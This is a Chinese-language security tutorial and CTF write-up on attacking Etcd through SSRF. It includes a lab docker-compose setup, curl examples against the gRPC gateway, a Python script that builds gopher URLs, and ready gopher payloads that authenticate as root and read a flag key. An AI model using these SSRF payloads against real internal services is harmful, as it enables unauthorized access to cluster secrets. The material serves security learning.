关于Etcd
Etcd是一个高可用的分布式键值存储系统,主要用于共享配置和服务发现,是构建云原生应用的关键组件之一。它的主要特性包括:
Etcd在云原生生态系统中扮演着重要角色,尤其是在Kubernetes中,它用作存储所有集群数据的后端数据库,包括集群的状态和配置。这种高效、可靠和安全的键值存储机制对于现代分布式系统和微服务架构至关重要。
Etcd架构图可见下图所示:
启动etcd环境
使用如下docker-compose文件启动
version: "3.5"
services:
etcd:
hostname: etcd
image: bitnami/etcd:3
deploy:
replicas: 1
restart_policy:
condition: on-failure
# ports:
# - "2379:2379"
# - "2380:2380"
# - "4001:4001"
# - "7001:7001"
privileged: true
volumes:
- "$PWD/etcd_data:/opt/bitnami/etcd/data"
environment:
- "ETCD_ADVERTISE_CLIENT_URLS=http://0.0.0.0:2379"
- "ETCD_LISTEN_CLIENT_URLS=http://0.0.0.0:2379"
- "ETCD_LISTEN_PEER_URLS=http://0.0.0.0:2380"
- "ETCD_INITIAL_ADVERTISE_PEER_URLS=http://0.0.0.0:2380"
- "ALLOW_NONE_AUTHENTICATION=yes"
- "ETCD_INITIAL_CLUSTER=node1=http://0.0.0.0:2380"
- "ETCD_NAME=node1"
- "ETCD_DATA_DIR=/opt/bitnami/etcd/data"
ports:
- 2379:2379
- 2380:2380
networks:
- etcdnet
networks:
etcdnet:
name: etcdnet
浏览器访问:http://172.22.107.158:2379/version 验证或者使用etcdctl:(要指定版本不然有问题)
lanvnal@lanvnal ~/d/etcd_test> ETCDCTL_API=3 etcdctl --endpoints=http://127.0.0.1:2379 member list
1c70f9bbb41018f, started, node1, http://0.0.0.0:2380, http://0.0.0.0:2379
Etcd比较常见的版本有v2版本和v3版本,v2、v3版本的共同点是共享同一套raft协议代码,不同点是二者为两个独立的应用,互不兼容,其接口、存储都是不相同的。
Etcd的gRPC 网关
3.1 使用 grpc-gateway
网关接受 Etcd 的 protocol buffer 消息定义的 JSON mapping 。注意 key
和 value
字段被定义为 byte 数组,因此必须在 JSON 中以 base64 编码。下面例子使用 curl,但是任何 HTTP/JSON 客户端都可以如此工作。
3.2 设置和获取键
使用 v3alpha/kv/range
和 v3alpha/kv/put
服务来读取和写入键:
# https://www.base64encode.org/
# foo is 'Zm9v' in Base64
# bar is 'YmFy'
curl -L http://localhost:2379/v3alpha/kv/put
-X POST -d '{"key": "Zm9v", "value": "YmFy"}'
# {"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"2","raft_term":"3"}}
curl -L http://localhost:2379/v3alpha/kv/range
-X POST -d '{"key": "Zm9v"}'
# {"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"2","raft_term":"3"},"kvs":[{"key":"Zm9v","create_revision":"2","mod_revision":"2","version":"1","value":"YmFy"}],"count":"1"}
3.3 观察键
使用 v3alpha/watch
服务来观察键:
curl http://localhost:2379/v3alpha/watch
-X POST -d '{"create_request": {"key":"Zm9v"} }' &
# {"result":{"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"1","raft_term":"2"},"created":true}}
curl -L http://localhost:2379/v3alpha/kv/put
-X POST -d '{"key": "Zm9v", "value": "YmFy"}' >/dev/null 2>&1
# {"result":{"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"2","raft_term":"2"},"events":[{"kv":{"key":"Zm9v","create_revision":"2","mod_revision":"2","version":"1","value":"YmFy"}}]}}
3.4 事务
使用 v3alpha/kv/txn
发起事务:
curl -L http://localhost:2379/v3alpha/kv/txn
-X POST
-d '{"compare":[{"target":"CREATE","key":"Zm9v","createRevision":"2"}],"success":[{"requestPut":{"key":"Zm9v","value":"YmFy"}}]}'
# {"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"3","raft_term":"2"},"succeeded":true,"responses":[{"response_put":{"header":{"revision":"3"}}}]}
3.5 认证
使用 v3alpha/auth
服务搭建认证:
# 创建 root 用户
curl -L http://localhost:2379/v3alpha/auth/user/add
-X POST -d '{"name": "root", "password": "pass"}'
# {"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1","raft_term":"2"}}
# 创建 root 角色
curl -L http://localhost:2379/v3alpha/auth/role/add
-X POST -d '{"name": "root"}'
# {"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1","raft_term":"2"}}
# 授予 root 角色
curl -L http://localhost:2379/v3alpha/auth/user/grant
-X POST -d '{"user": "root", "role": "root"}'
# {"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1","raft_term":"2"}}
# 开启认证
curl -L http://localhost:2379/v3alpha/auth/enable -X POST -d '{}'
# {"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1","raft_term":"2"}}
使用 v3alpha/auth/authenticate
为认证 token 做认证:
# 为 root 用户 获取认证 token
curl -L http://localhost:2379/v3alpha/auth/authenticate
-X POST -d '{"name": "root", "password": "pass"}'
# {"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1","raft_term":"2"},"token":"sssvIpwfnLAcWAQH.9"}
为认证 token 设置 Authorization
header,以便在获取键时使用认证证书:
curl -L http://localhost:2379/v3alpha/kv/put
-H 'Authorization : sssvIpwfnLAcWAQH.9'
-X POST -d '{"key": "Zm9v", "value": "YmFy"}'
# {"header":{"cluster_id":"148416390689651784
SSRF场景下利用
4.1 测试环境配置
通过v3/kv/put
接口,插入kv数据:test : Hello World!
curl -L http://localhost:2379/v3/kv/put
-X POST -d '{"key": "dGVzdA==", "value": "SGVsbG8gV29ybGQh"}'
# {"header":{"cluster_id":"12585971608760269493","member_id":"13847567121247652255","revision":"2","raft_term":"3"}}
4.2 添加auth认证
参照上一章节认证部分。
4.3 构造gopher【json gRPC接口】
根据gRPC网关的文档,如下一个查询请求:(burp抓包)【当前没开启证书认证】,
POST /v3/kv/range HTTP/1.1
Host: 172.22.107.158:2379
Content-Length: 21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.22.107.158:2379
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.22.107.158:2379/v3/kv/range
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"key": "dGVzdA=="}
使用脚本转换成gopher格式,curl请求就可以。
注意一点就是请求的key和返回的value,都是base64编码的,要注意转换。
4.4 有auth的情况
/v3/auth/authenticate
接口请求,post data中带着user和pass,如果正确的话会返回token的值,之后的请求通过token来进行身份验证。之后向其他接口的请求,需要带上如下的header:
Authorization: 上面获取的token
下面是两个过程的报文:验证身份获取token
POST /v3/auth/authenticate HTTP/1.1
Host: 192.168.31.86:2379
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.86:2379
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.31.86:2379/v3/auth/authenticate
Connection: close
{"name": "root", "password": "root"}
get数据
POST /v3/kv/range HTTP/1.1
Host: 192.168.31.86:2379
Authorization: mbgMaGpGbqsVpdNe.35
Content-Length: 21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.31.86:2379
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.31.86:2379/v3/kv/range
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"key": "dGVzdA=="}
ssrf利用,需要先获取token,再构造带header的其他请求。
一道CTF题中的应用
10.10.6.201
,etcd默认端口2379,探测内网,发现etcd服务。http://10.10.6.202:2379/version
{"etcdserver":"3.5.1","etcdcluster":"3.5.0"}
/v3/auth/authenticate
接口请求,post data中带着user和pass,如果正确的话会返回token的值,之后的请求通过token来进行身份验证。Authorization: 上面获取的token
import urllib
import urllib.parse
import urllib.request
test =
"""POST /v3/kv/range HTTP/1.1
Host: 10.10.6.202:2379
Authorization: KgOJURubcRBmrQqD.10
Content-Length: 19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.6.202:2379
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.6.202:2379/v3/kv/range
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"key": "ZmxhZw=="}
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
认证:
gopher://10.10.6.202:2379/_POST%20/v3/auth/authenticate%20HTTP/1.1%0D%0AHost%3A%2010.10.6.202%3A2379%0D%0AContent-Length%3A%2041%0D%0ACache-Control%3A%20max-age%3D0%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0AOrigin%3A%20http%3A//10.10.6.202%3A2379%0D%0AContent-Type%3A%20application/json%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/101.0.4951.64%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/apng%2C%2A/%2A%3Bq%3D0.8%2Capplication/signed-exchange%3Bv%3Db3%3Bq%3D0.9%0D%0AReferer%3A%20http%3A//10.10.6.202%3A2379/v3/auth/authenticate%0D%0AConnection%3A%20close%0D%0A%0D%0A%7B%22name%22%3A%20%22root%22%2C%20%22password%22%3A%20%22qwe123wow%22%7D%0D%0A%0D%0A
查询:(key为flag)
gopher://10.10.6.202:2379/_POST%20/v3/kv/range%20HTTP/1.1%0D%0AHost%3A%2010.10.6.202%3A2379%0D%0AAuthorization%3A%20BRIDzJCeScpmNMmt.10%0D%0AContent-Length%3A%2019%0D%0ACache-Control%3A%20max-age%3D0%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0AOrigin%3A%20http%3A//10.10.6.202%3A2379%0D%0AContent-Type%3A%20application/json%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/101.0.4951.64%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/apng%2C%2A/%2A%3Bq%3D0.8%2Capplication/signed-exchange%3Bv%3Db3%3Bq%3D0.9%0D%0AReferer%3A%20http%3A//10.10.6.202%3A2379/v3/kv/range%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%0D%0AConnection%3A%20close%0D%0A%0D%0A%7B%22key%22%3A%20%22ZmxhZw%3D%3D%22%7D%0D%0A%0D%0A
ZmxhZ3thY2Q2NWE5My04MGI5LTRlMzUtOWVjZS00NDlhNjM0NTlkMDZ9
flag{acd65a93-80b9-4e35-9ece-449a63459d06}
参考文章
https://mp.weixin.qq.com/s/WJ14yyrLptQnRovFoGYv8A https://www.sakishum.com/2021/11/18/docker-compose%E9%83%A8%E7%BD%B2ETCD/#/%E8%B4%B0-%E5%85%B3%E4%BA%8E%E6%95%B0%E6%8D%AE%E7%9A%84-CRUD-Watch
-
单节点etcd部署 https://www.jianshu.com/p/4878243fbbc8 -
json gRPC使用 https://doczhcn.gitbook.io/etcd/index/index/api_grpc_gateway
点亮“在看”,你最好看
原文始发于微信公众号(中国电信SRC):Etcd在SSRF场景下的攻击方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论